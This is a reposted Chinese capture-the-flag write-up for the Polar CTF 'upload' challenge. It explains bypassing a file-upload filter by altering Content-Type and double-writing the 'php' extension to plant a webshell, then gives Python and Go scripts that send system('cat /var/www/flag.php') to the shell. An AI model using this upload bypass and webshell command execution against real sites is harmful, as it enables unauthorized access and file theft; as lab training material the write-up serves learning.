您的位置:首页 > 文旅 > 美景 > Polar Web【简单】upload

Polar Web【简单】upload

2025/2/26 1:58:59 来源:https://blog.csdn.net/weixin_45987327/article/details/139509194  浏览:    关键词:Polar Web【简单】upload

Polar Web【简单】upload

Contents

  • Polar Web【简单】upload
    • 思路
    • EXP
      • Python
      • Go
    • 运行&总结

思路

如题目所说,本题考查的是文件上传漏洞的渗透技巧。

  1. 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
  2. 在重发器中修改 Content-Type 后,正常上传 shell.php 发现,程序过滤了文件后缀 php,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。
  3. 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取 flag

index

技巧
在这里插入图片描述

EXP

Python

import requestsdef exe(url):command = 'system("cat /var/www/flag.php");'data = {'cmd': command}resp = requests.post(url=url, data=data)if resp.text:out = resp.textprint(out[out.rindex('flag'):out.rindex("'")])else:print("Nothing...")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'exe(url=u)

Go

package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url_ string) {data := url.Values{}data.Add("cmd", "system(\"cat /var/www/flag.php\");")if resp, err := http.PostForm(url_, data); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"// 解析基础 URLu, err := url.Parse(baseURL)if err != nil {panic(err)}attack(u.String())
}

运行&总结

run

  • 本题主要考查了文件上传漏洞中的双写绕过技巧
  • 借以本题,进行了使用脚本进行Webshell利用的尝试






敬,不完美的明天

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com